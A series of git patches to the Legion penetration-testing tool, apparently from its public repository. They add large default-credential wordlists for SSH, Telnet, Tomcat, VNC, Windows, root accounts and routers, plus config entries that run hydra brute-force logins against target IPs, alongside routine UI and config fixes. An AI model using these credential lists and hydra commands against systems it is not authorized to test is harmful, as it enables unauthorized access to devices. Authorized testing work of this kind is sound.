a/wordlists/ssh-betterdefaultpasslist.txt b/wordlists/ssh-betterdefaultpasslist.txt new file mode 100644 index 00000000..9db5bc9e --- /dev/null +++ b/wordlists/ssh-betterdefaultpasslist.txt @@ -0,0 +1,131 @@ +root:calvin +root:root +root:toor +administrator:password +NetLinx:password +administrator:Amx1234! +amx:password +amx:Amx1234! +admin:1988 +admin:admin +Administrator:Vision2 +cisco:cisco +c-comatic:xrtwk318 +root:qwasyx21 +admin:insecure +pi:raspberry +user:user +root:default +root:leostream +leo:leo +localadmin:localadmin +fwupgrade:fwupgrade +root:rootpasswd +admin:password +root:timeserver +admin:motorola +cloudera:cloudera +root:p@ck3tf3nc3 +apc:apc +device:apc +eurek:eurek +netscreen:netscreen +admin:avocent +root:linux +sconsole:12345 +root:5up +cirros:cubswin:) +root:uClinux +root:alpine +root:dottie +root:arcsight +root:unitrends1 +vagrant:vagrant +root:vagrant +m202:m202 +demo:fai +root:fai +root:ceadmin +maint:password +root:palosanto +root:ubuntu1404 +root:cubox-i +debian:debian +root:debian +root:xoa +root:sipwise +debian:temppwd +root:sixaola +debian:sixaola +myshake:shakeme +stackato:stackato +root:screencast +root:stxadmin +root:nosoup4u +root:indigo +root:video +default:video +default: +ftp:video +nexthink:123456 +ubnt:ubnt +root:ubnt +sansforensics:forensics +elk_user:forensics +osboxes:osboxes.org +root:osboxes.org +sans:training +user:password +misp:Password1234 +hxeadm:HXEHana1 +acitoolkit:acitoolkit +osbash:osbash +enisa:enisa +geosolutions:Geos +pyimagesearch:deeplearning +root:NM1$88 +remnux:malware +hunter:hunter +plexuser:rasplex +root:openelec +root:rasplex +root:plex +root:openmediavault +root:ys123456 +root:libreelec +openhabian:openhabian +admin:ManagementConsole2015 +public:publicpass +admin:hipchat +nao:nao +support:symantec +root:max2play +admin:pfsense +root:root01 +root:nas4free +USERID:PASSW0RD +Administrator:p@ssw0rd +root:freenas +root:cxlinux +admin:symbol +admin:Symbol +admin:superuser +admin:admin123 +root:D13HH[ +root:blackarch +root:dasdec1 +root:7ujMko0admin +root:7ujMko0vizxv +root:Zte521 +root:zlxx. +root:compass +hacker:compass +samurai:samurai +ubuntu:ubuntu +root:openvpnas +misp:Password1234 +root:wazuh +student:password123 +root:roottoor +centos:reverse +root:reverse diff --git a/wordlists/telnet-betterdefaultpasslist.txt b/wordlists/telnet-betterdefaultpasslist.txt new file mode 100644 index 00000000..6ffa3a3c --- /dev/null +++ b/wordlists/telnet-betterdefaultpasslist.txt @@ -0,0 +1,146 @@ +root:calvin +administrator:password +NetLinx:password +administrator:Amx1234! +amx:password +amx:Amx1234! +admin:1988 +admin:admin +Administrator:Vision2 +cisco:cisco +root:fidel123 +user:user +root:default +localadmin:localadmin +Root:wago +Admin:wago +User:user +Guest:guest +root:rootpasswd +admin:password +adtec:none +root:timeserver +root:password +Admin:Su +root:admin +admin:motorola +Admin:5001 +User:1001 +GE:GE +Admin:Pass +device:apc +apc:apc +root:anni2013 +root:xc3511 +root:dreambox +root:vizxv +admin:1111111 +admin:smcadmin +admin:4321 +888888:888888 +666666:666666 +ubnt:ubnt +admin:22222 +adminttd:adminttd +root:!root +admin:epicrouter +tech:tech +manager:manager +smc:smcadmin +netscreen:netscreen +netopia:netopia +root:888888 +root:xmhdipc +root:juantech +root:123456 +root:54321 +support:support +root:root +root:12345 +root:pass +admin:admin1234 +root:1111 +admin:1111 +root:666666 +root:1234 +root:klv123 +Administrator:admin +service:service +guest:guest +guest:12345 +admin1:password +administrator:1234 +root:klv1234 +root:Zte521 +root:hi3518 +root:jvbzd +root:anko +root:zlxx. +root:7ujMko0vizxv +root:7ujMko0admin +root:system +root:ikwb +root:dreambox +root:user +root:realtek +root:00000000 +admin:1234 +admin:12345 +default:OxhlwSG8 +admin:tlJwpbo6 +default:S2fGqNFs +admin:meinsm +supervisor:supervisor +admin:123456 +root:zlxx +dm:telnet +webguest:1 +Liebert:Liebert +User:User +admin:avocent +root:linux +admin:system +user:public +admin:private +guest:guest +admin:admin +root:root +qbf77101:hexakisoctahedron +ftpuser:password +USER:USER +Basisk:Basisk +sconsole:12345 +root:5up +root:cat1029 +MayGion:maygion.com +admin:cat1029 +admin:ZmqVfoSIP +default:antslq +admin:microbusiness +admin:jvc +root:GM8182 +root:uClinux +Alphanetworks:wrgg19_c_dlwbr_dir300 +Alphanetworks:wrgn49_dlob_dir600b +Alphanetworks:wrgn23_dlwbr_dir600b +Alphanetworks:wrgn22_dlwbr_dir615 +Alphanetworks:wrgnd08_dlob_dir815 +Alphanetworks:wrgg15_di524 +Alphanetworks:wrgn39_dlob.hans_dir645 +Alphanetworks:wapnd03cm_dkbs_dap2555 +Alphanetworks:wapnd04cm_dkbs_dap3525 +Alphanetworks:wapnd15_dlob_dap1522b +Alphanetworks:wrgac01_dlob.hans_dir865 +Alphanetworks:wrgn23_dlwbr_dir300b +Alphanetworks:wrgn28_dlob_dir412 +Alphanetworks:wrgn39_dlob.hans_dir645_V1 +root:oelinux123 +mg3500:merlin +root:cxlinux +root:1001chin +root:china123 +admin:symbol +admin:Symbol +admin:superuser +admin:admin123 +root:20080826 diff --git a/wordlists/tomcat-betterdefaultpasslist.txt b/wordlists/tomcat-betterdefaultpasslist.txt new file mode 100644 index 00000000..49f181e9 --- /dev/null +++ b/wordlists/tomcat-betterdefaultpasslist.txt @@ -0,0 +1,79 @@ +admin: +admin:admanager +admin:admin +admin:admin +ADMIN:ADMIN +admin:adrole1 +admin:adroot +admin:ads3cret +admin:adtomcat +admin:advagrant +admin:password +admin:password1 +admin:Password1 +admin:tomcat +admin:vagrant +both:admanager +both:admin +both:adrole1 +both:adroot +both:ads3cret +both:adtomcat +both:advagrant +both:tomcat +cxsdk:kdsxc +j2deployer:j2deployer +manager:admanager +manager:admin +manager:adrole1 +manager:adroot +manager:ads3cret +manager:adtomcat +manager:advagrant +manager:manager +ovwebusr:OvW*busr1 +QCC:QLogic66 +role1:admanager +role1:admin +role1:adrole1 +role1:adroot +role1:ads3cret +role1:adtomcat +role1:advagrant +role1:role1 +role1:tomcat +role:changethis +root:admanager +root:admin +root:adrole1 +root:adroot +root:ads3cret +root:adtomcat +root:advagrant +root:changethis +root:owaspbwa +root:password +root:password1 +root:Password1 +root:r00t +root:root +root:toor +tomcat: +tomcat:admanager +tomcat:admin +tomcat:admin +tomcat:adrole1 +tomcat:adroot +tomcat:ads3cret +tomcat:adtomcat +tomcat:advagrant +tomcat:changethis +tomcat:password +tomcat:password1 +tomcat:s3cret +tomcat:s3cret +tomcat:tomcat +xampp:xampp +server_admin:owaspbwa +admin:owaspbwa +demo:demo diff --git a/wordlists/vnc-betterdefaultpasslist.txt b/wordlists/vnc-betterdefaultpasslist.txt new file mode 100644 index 00000000..275acd5e --- /dev/null +++ b/wordlists/vnc-betterdefaultpasslist.txt @@ -0,0 +1,41 @@ +123456 +FELDTECH_VNC +vnc_pcc +elux +Passwort +visam +password +Amx1234! +1988 +admin +Vision2 +ADMIN +TOUCHLON +EltakoFVS +Wyse#123 +muster +passwd11 +qwasyx21 +Administrator +ripnas +eyevis +fidel123 +Admin#1 +default +sigmatek +hapero +1234 +pass +raspberry +user +solarfocus +AVStumpfl +m9ff.QW +maryland-dstar +pass1 +pass2 +instrument +beijer +vnc +yesco +protech diff --git a/wordlists/windows-betterdefaultpasslist.txt b/wordlists/windows-betterdefaultpasslist.txt new file mode 100644 index 00000000..74dcae5e --- /dev/null +++ b/wordlists/windows-betterdefaultpasslist.txt @@ -0,0 +1,27 @@ +Administrator:FELDTECH +secure:SecurityMaster08 +admin:trinity +administrator:Wyse#123 +user:Wyse#123 +admin:admin +Administrator:Administrator +sonos:sonos +demo:m9ff.QW +wasadmin:wasadmin +maxadmin:maxadmin +mxintadm:mxintadm +maxreg:maxreg +root: +admin:admin +admin:12345 +admin:1234 +admin:123456 +instrument:instrument +admin: +nmt:1234 +admin:password +IEUser:Passw0rd! +openhabian:openhabian +vagrant:vagrant +Administrator:vagrant +john:Password123! From 5b0eaebd81781b1d636fa42df4cfbd3caae3f0da Mon Sep 17 00:00:00 2001 From: "Matthew C. Jones, CPA, CISA, OSCP, CCFE" Date: Wed, 5 Feb 2020 16:44:29 -0500 Subject: [PATCH 362/450] Additional default router & root password checks --- legion.conf | 4 + wordlists/root-userpass.txt | 51 ++++ wordlists/routers-userpass.txt | 415 +++++++++++++++++++++++++++++++++ 3 files changed, 470 insertions(+) create mode 100755 wordlists/root-userpass.txt create mode 100644 wordlists/routers-userpass.txt diff --git a/legion.conf b/legion.conf index 9c73e152..d79e24a6 100644 --- a/legion.conf +++ b/legion.conf @@ -271,9 +271,13 @@ snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --scri snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" ssh-default=Check for default ssh credentials, hydra -s [PORT] -C ./wordlists/ssh-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh +ssh-default-root=Check for default ssh root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh +ssh-default-router=Check for default ssh router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl,https-alt" sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp,https-alt" telnet-default=Check for default telnet credentials, hydra -s [PORT] -C ./wordlists/telnet-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet +telnet-default-root=Check for default telnet root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet +telnet-default-router=Check for default telnet router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp theharvester=Run theharvester, theharvester -d [IP]:[PORT] -b all -n -c -t -h, dns vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc diff --git a/wordlists/root-userpass.txt b/wordlists/root-userpass.txt new file mode 100755 index 00000000..f51609f9 --- /dev/null +++ b/wordlists/root-userpass.txt @@ -0,0 +1,51 @@ +root: +root:!root +root:Cisco +root:NeXT +root:QNX +root:admin +root:attack +root:ax400 +root:bagabu +root:blablabla +root:blender +root:brightmail +root:calvin +root:changeme +root:changethis +root:default +root:fibranne +root:honey +root:jstwo +root:kn1TG7psLu +root:letacla +root:mpegvideo +root:nsi +root:par0t +root:pass +root:password +root:pixmet2003 +root:resumix +root:root +root:rootme +root:rootpass +root:t00lk1t +root:tini +root:toor +root:trendimsa1.0 +root:tslinux +root:uClinux +root:vertex25 +root:owaspbwa +root:permit +root:ascend +root:ROOT500 +root:cms500 +root:fivranne +root:davox +root:letmein +root:powerapp +root:dbps +root:ibm +root:monitor +root:turnkey diff --git a/wordlists/routers-userpass.txt b/wordlists/routers-userpass.txt new file mode 100644 index 00000000..884f5ef2 --- /dev/null +++ b/wordlists/routers-userpass.txt @@ -0,0 +1,415 @@ +root: +admin: +guest: +root:root +root:password +root:1234 +root:12345 +root:123456 +root:3ep5w2u +root:admin +root:Admin +root:admin_1 +root:alpine +root:ascend +root:attack +root:blender +root:calvin +root:changeme +root:Cisco +root:cms500 +root:davox +root:default +root:fivranne +root:ggdaseuaimhrke +root:iDirect +root:letacla +root:Mau'dib +root:pass +root:permit +root:ROOT500 +root:tini +root:tslinux +root:wyse +ro:ro +router:router +rwa:rwa +rw:rw +ubnt:ubnt +guest:guest +guest:User +admin:0 +admin:0000 +admin:1111 +admin:123 +admin:1234 +admin:123456 +admin:1234admin +admin:2222 +admin:22222 +admin2:changeme +admin:3477 +admin:3ascotel +admin:9999 +admin:access +admin:admin +admin:Admin +Admin:admin +admin:admin123 +admin:adminttd +admin:adslolitec +admin:adslroot +admin:adtran +admin:AitbISP4eCiG +admin:articon +admin:asante +admin:ascend +admin:Ascend +admin:asd +admin:atc123 +admin:atlantis +admin:backdoor +admin:barricade +admin:barricadei +admin:bintec +admin:BRIDGE +admin:cableroot +admin:changeme +admin:cisco +admin:_Cisco +admin:comcomcom +admin:conexant +admin:default +admin:diamond +admin:enter +admin:epicrouter +admin:extendnet +admin:giraff +admin:hagpolm1 +admin:hello +admin:help +admin:hp.com +admin:Intel +admin:ironport +admin:isee +acc:acc +adfexc:adfexc +adm: +admin:kont2004 +admin:letmein +admin:leviton +admin:linga +admin:michelangelo +admin:microbusiness +admin:MiniAP +admin:motorola +admin:mu +admin:my_DEMARC +admin:netadmin +admin:NetCache +admin:NetICs +admin:noway +admin:OCS +admin:operator +admin:P@55w0rd! +admin:password +admin:p-assword +admin:PASSWORD +admin:passwort +admin:pento +admin:pfsense +admin:private +admin:Protector +admin:public +admin:pwp +admin:radius +admin:rmnetlm +admin:root +admin:secure +admin:setup +admin:sitecom +admin:smallbusiness +admin:smcadmin +admin:SMDR +admin:speedxess +admin:SUPER +admin:superuser +admin:switch +admin:Symbol +admin:synnet +admin:sysAdmin +admin:system +admin:TANDBERG +admin:visual +admin:w2402 +admin:xad$|#12 +admin:xad$l#12 +admin:zoomadsl +system:change_on_install +system/manager:sys/change_on_install +system:password +system:sys +adminttd:adminttd +adminuser:OCS +adminview:OCS +adminstat:OCS +adminstrator:changeme +Administrator:3ware +Administrator:admin +administrator:administrator +ADMINISTRATOR:ADMINISTRATOR +administrator:changeme +Administrator:changeme +Administrator:ganteng +Administrator:letmein +Administrator:password +Administrator:pilou +Administrator:smcadmin +ADMN:admn +ami: +anonymous:any@ +anonymous:Exabyte +Any:12345 +apc:apc +at4400:at4400 +bbsd-client:changeme2 +bbsd-client:NULL +bciim:bciimpw +bcim:bcimpw +bcms:bcmspw +bcnas:bcnaspw +bcnas:pcnaspw +blue:bluepw +browse:browsepw +browse:looker +cablecom:router +cablemodem:robotics +cac_admin:cacadmin +cas:cascade +ccrusr:ccrusr +cellit:cellit +cgadmin:cgadmin +cisco: +cisco:cisco +Cisco:Cisco +citel:citel +client:client +cmaker:cmaker +comcast:1234 +corecess:corecess +craft: +craft:craft +craft:craftpw +craft:crftpw +CSG:SESAME +cusadmin:highspeed +cust:custpw +customer: +customer:none +dadmin:dadmin01 +davox:davox +debug:d.e.b.u.g +debug:synnet +deskalt:password +deskman:changeme +desknorm:password +deskres:password +device:device +dhs3mt:dhs3mt +dhs3pms:dhs3pms +diag:danger +diag:switch +disttech:4tas +D-Link:D-Link +draytek:1234 +DTA:TJM +e250:e250changeme +e500:e500changeme +echo:echo +echo:User +enable: +eng:engineer +enquiry:enquirypw +field:support +GEN1:gen1 +GEN2:gen2 +GlobalAdmin:GlobalAdmin +halt:tlah +helpdesk:OCS +hsa:hsadb +hscroot:abc123 +HTTP:HTTP +hydrasna: +iclock:timely +images:images +inads:inads +inads:indspw +init:initpw +installer:installer +install:llatsni +install:secret +intel:intel +intermec:intermec +intermec:intermec1QTPS +IntraStack:Asante +IntraSwitch:Asante +jagadmin: +JDE:JDE +kermit:kermit +l2:l2 +l3:l3 +locate:locatepw +login:0 +login:1111 +login:8429 +login:access +login:admin +login:password +lp:lp +LUCENT01:UI-PSWD-01 +LUCENT02:UI-PSWD-02 +m1122:m1122 +mac: +maint:maint +maint:maintpw +maint:ntacdmax +maint:rwmaint +manage:!manage +manager:admin +manager:change_on_install +manager:friend +Manager:friend +manager:manager +Manager:Manager +manager:sys +manuf:xxyyzz +MDaemon:MServer +mediator:mediator +MICRO:RSX +mlusr:mlusr +monitor:monitor +mtch:mtch +mtcl: +mtcl:mtcl +naadmin:naadmin +NAU:NAU +netangr:attack +netman: +netman:netman +netopia:netopia +netrangr:attack +netscreen:netscreen +NETWORK:NETWORK +NICONEX:NICONEX +nms:nmspw +nokai:nokai +nokia:nokia +none:0 +none:admin +operator: +operator:1234 +operator:$chwarzepumpe +operator:operator +op:op +op:operator +patrol:patrol +PBX:PBX +PFCUser:240653C9467E45 +piranha:piranha +piranha:q +pmd: +poll:tech +Polycom:SpIp +PRODDTA:PRODDTA +PSEAdmin:$secure$ +public: +public:public +radware:radware +rapport:r@p8p0r+ +rcust:rcustpw +readonly:lucenttech2 +readwrite:lucenttech1 +recovery:recovery +replicator:replicator +RMUser1:password +sa: +scmadmin:scmchangeme +scout:scout +secret:secret +secure:secure +security:security +service:smile +setup:changeme +setup:changeme! +setup:setup +smc:smcadmin +spcl:0 +storwatch:specialist +stratacom:stratauser +super:5777364 +superadmin:secret +superman:21241036 +superman:talent +super:super +super.super: +super.super:master +super:surt +superuser: +superuser:123456 +superuser:admin +supervisor:PlsChgMe! +supervisor:PlsChgMe1 +supervisor:supervisor +support:h179350 +support:support +support:supportpw +su:super +Sweex:Mysweex +sysadm:Admin +sysadm:anicust +sysadmin:PASS +sysadmin:password +sysadmin:sysadmin +sysadm:PASS +sysadm:sysadm +SYSADM:sysadm +sys:uplink +target:password +teacher:password +tech: +tech:ANYCOM +tech:field +tech:ILMI +tech:tech +telco:telco +telecom:telecom +tellabs:tellabs#1 +temp1:password +test:test +tiara:tiaranet +tiger:tiger123 +topicalt:password +topicnorm:password +topicres:password +user: +USERID:PASSW0RD +user:pass +user:password +User:Password +user:public +user:tivonpw +user:user +vcr:NetVCR +VNC:winterm +volition:volition +vt100:public +VTech:VTech +webadmin:1234 +webadmin:webadmin +websecadm:changeme +wlse:wlsedb +wradmin:trancell +write:private +xd:xd +xxx:cascade +ZXDSL:ZXDSL \ No newline at end of file From 2148309228cacac6ef5b60687aa97136f67f72a8 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 6 Feb 2020 10:37:33 -0500 Subject: [PATCH 363/450] Adding new host info tab --- ui/dialogs.py | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/ui/dialogs.py b/ui/dialogs.py index 22dc151a..9b7ac34b 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -556,6 +556,7 @@ def setupLayout(self): self.FilteredPortsLayout.addWidget(self.FilteredPortsText) self.FilteredPortsLayout.addStretch() ################### + self.LocationLabel = QtWidgets.QLabel() self.AddressLabel = QtWidgets.QLabel() self.IP4Label = QtWidgets.QLabel() @@ -672,6 +673,8 @@ def setupLayout(self): self.OpenPortsLabel.setText('Open Ports:') self.ClosedPortsLabel.setText('Closed Ports:') self.FilteredPortsLabel.setText('Filtered Ports:') + self.LocationLabel.setText('Location') + self.LocationLabel.setFont(font) self.AddressLabel.setText('Addresses') self.AddressLabel.setFont(font) self.IP4Label.setText('IPv4:') @@ -692,6 +695,8 @@ def setupLayout(self): self.vlayout_1 = QtWidgets.QVBoxLayout() self.vlayout_2 = QtWidgets.QVBoxLayout() self.vlayout_3 = QtWidgets.QVBoxLayout() + self.vlayout_4 = QtWidgets.QVBoxLayout() + self.vlayout_5 = QtWidgets.QVBoxLayout() self.hlayout_1 = QtWidgets.QHBoxLayout() self.vlayout_1.addWidget(self.HostStatusLabel) @@ -716,16 +721,17 @@ def setupLayout(self): self.vlayout_3.addWidget(self.OSLabel) self.vlayout_3.addLayout(self.OSNameLayout) self.vlayout_3.addLayout(self.OSAccuracyLayout) - self.vlayout_3.addLayout(self.CountryLayout) - self.vlayout_3.addLayout(self.CityLayout) - self.vlayout_3.addLayout(self.LatitudeLayout) - self.vlayout_3.addLayout(self.LongitudeLayout) self.vlayout_3.addStretch() - self.vlayout_4 = QtWidgets.QVBoxLayout() self.vlayout_4.addLayout(self.hlayout_1) self.vlayout_4.addSpacing(10) self.vlayout_4.addLayout(self.vlayout_3) + + self.vlayout_5.addWidget(self.LocationLabel) + self.vlayout_5.addLayout(self.CountryLayout) + self.vlayout_5.addLayout(self.CityLayout) + self.vlayout_5.addLayout(self.LatitudeLayout) + self.vlayout_5.addLayout(self.LongitudeLayout) self.hlayout_4 = QtWidgets.QHBoxLayout(self.informationTab) self.hlayout_4.addLayout(self.vlayout_4) From 7294c4217ff3dc0736459080efc9e06b8647df95 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 6 Feb 2020 10:38:33 -0500 Subject: [PATCH 364/450] Fixed vendor detection, other fixes --- scripts/python/macvendors.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/scripts/python/macvendors.py b/scripts/python/macvendors.py index 3021fdc7..f63a074f 100644 --- a/scripts/python/macvendors.py +++ b/scripts/python/macvendors.py @@ -18,8 +18,10 @@ def run(self): if self.dbHost: r = requests.get(url) result = str(r.text) - if type(result) == type(str()): + if type(result) == str: if result: + if type(result) != str or "error" in result: + result = "unknown" self.dbHost.vendor = result print('The vendor is: ' + result) self.session.add(self.dbHost) From 70eab57d7d8f74c270168365a593cff8381a0620 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 6 Feb 2020 12:26:48 -0500 Subject: [PATCH 365/450] Added host location info --- ui/dialogs.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/ui/dialogs.py b/ui/dialogs.py index 9b7ac34b..76d917f9 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -717,7 +717,9 @@ def setupLayout(self): self.hlayout_1.addLayout(self.vlayout_1) self.hlayout_1.addSpacing(20) self.hlayout_1.addLayout(self.vlayout_2) - + self.hlayout_1.addSpacing(20) + self.hlayout_1.addLayout(self.vlayout_5) + self.vlayout_3.addWidget(self.OSLabel) self.vlayout_3.addLayout(self.OSNameLayout) self.vlayout_3.addLayout(self.OSAccuracyLayout) From e320f4187f4acc6ffcf7767d1936937dd08a2932 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 7 Feb 2020 10:38:05 -0500 Subject: [PATCH 366/450] Removed WebSlayer as it isn't included --- legion.conf | 1 - 1 file changed, 1 deletion(-) diff --git a/legion.conf b/legion.conf index a565301e..17f5daaf 100644 --- a/legion.conf +++ b/legion.conf @@ -277,7 +277,6 @@ theharvester=Run theharvester, theharvester -d [IP]:[PORT] -b all -n -c -t -h, d vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl,https-alt" -webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt,https-alt" whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt,https-alt" wpscan=Run wpscan, "wpscan --url [IP]:[PORT], http", "https\nx11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11\n\n[PortTerminalActions]\nfirefox=Open with firefox, firefox [IP]:[PORT], \nftp=Open with ftp client, ftp [IP] [PORT], ftp\nmssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], mys-sql-s" From e34f08091129d7f8bfa5e9c27e022b144bd7be92 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 7 Feb 2020 12:38:21 -0500 Subject: [PATCH 367/450] Cleaning up config and fixing wpscan --- legion.conf | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/legion.conf b/legion.conf index 17f5daaf..c00ab5ff 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,481,100" +process-tab-column-widths="125,0,0,0,0,0,100,100,0,0,0,0,0,0,0,833,100" process-tab-detail=false [GeneralSettings] @@ -277,8 +277,8 @@ theharvester=Run theharvester, theharvester -d [IP]:[PORT] -b all -n -c -t -h, d vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl,https-alt" -whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -wpscan=Run wpscan, "wpscan --url [IP]:[PORT], http", "https\nx11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11\n\n[PortTerminalActions]\nfirefox=Open with firefox, firefox [IP]:[PORT], \nftp=Open with ftp client, ftp [IP] [PORT], ftp\nmssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], mys-sql-s" +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", http,https +wpscan=Run wpscan, "wpscan --url [IP]", http,https,ssl,soap,http-proxy,http-alt,https-alt [PortTerminalActions] firefox=Open with firefox, firefox [IP]:[PORT], From 1c56123b735679309cc2739515bcc28901f7d957 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 7 Feb 2020 12:41:51 -0500 Subject: [PATCH 368/450] wpscan and whatweb fix --- legion.conf | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/legion.conf b/legion.conf index c00ab5ff..1e621392 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,0,0,0,0,100,100,0,0,0,0,0,0,0,833,100" +process-tab-column-widths="125,0,26,26,26,0,100,100,0,0,0,0,0,0,0,755,100" process-tab-detail=false [GeneralSettings] @@ -277,8 +277,8 @@ theharvester=Run theharvester, theharvester -d [IP]:[PORT] -b all -n -c -t -h, d vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl,https-alt" -whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", http,https -wpscan=Run wpscan, "wpscan --url [IP]", http,https,ssl,soap,http-proxy,http-alt,https-alt +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,https-alt" +wpscan=Run wpscan, wpscan --url [IP], "http,https,ssl,https-alt" [PortTerminalActions] firefox=Open with firefox, firefox [IP]:[PORT], From da67fd60c9588b19bd19b8a02e2beb6ccf644ce3 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 7 Feb 2020 15:54:48 -0500 Subject: [PATCH 369/450] wpscan and whatweb now on more ports From 695c8b22b022fba6f5f04d79d213e93ba5feccaa Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sun, 22 Dec 2019 20:22:03 -0500 Subject: [PATCH 370/450] Move UI models from app module to ui module The placement of these models was incorrect since each model is a subclass of a Qt model, a UI concept. Additionally, each model was only used in view.py in ui module --- ui/models/__init__.py | 17 +++++++++++++++ {app => ui/models}/cvemodels.py | 0 {app => ui/models}/hostmodels.py | 0 {app => ui/models}/processmodels.py | 0 {app => ui/models}/scriptmodels.py | 0 {app => ui/models}/servicemodels.py | 0 ui/view.py | 32 +++++++++++++---------------- 7 files changed, 31 insertions(+), 18 deletions(-) create mode 100644 ui/models/__init__.py rename {app => ui/models}/cvemodels.py (100%) rename {app => ui/models}/hostmodels.py (100%) rename {app => ui/models}/processmodels.py (100%) rename {app => ui/models}/scriptmodels.py (100%) rename {app => ui/models}/servicemodels.py (100%) diff --git a/ui/models/__init__.py b/ui/models/__init__.py new file mode 100644 index 00000000..1620d344 --- /dev/null +++ b/ui/models/__init__.py @@ -0,0 +1,17 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2019 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" \ No newline at end of file diff --git a/app/cvemodels.py b/ui/models/cvemodels.py similarity index 100% rename from app/cvemodels.py rename to ui/models/cvemodels.py diff --git a/app/hostmodels.py b/ui/models/hostmodels.py similarity index 100% rename from app/hostmodels.py rename to ui/models/hostmodels.py diff --git a/app/processmodels.py b/ui/models/processmodels.py similarity index 100% rename from app/processmodels.py rename to ui/models/processmodels.py diff --git a/app/scriptmodels.py b/ui/models/scriptmodels.py similarity index 100% rename from app/scriptmodels.py rename to ui/models/scriptmodels.py diff --git a/app/servicemodels.py b/ui/models/servicemodels.py similarity index 100% rename from app/servicemodels.py rename to ui/models/servicemodels.py diff --git a/ui/view.py b/ui/view.py index 795aa4a7..c4c6569f 100644 --- a/ui/view.py +++ b/ui/view.py @@ 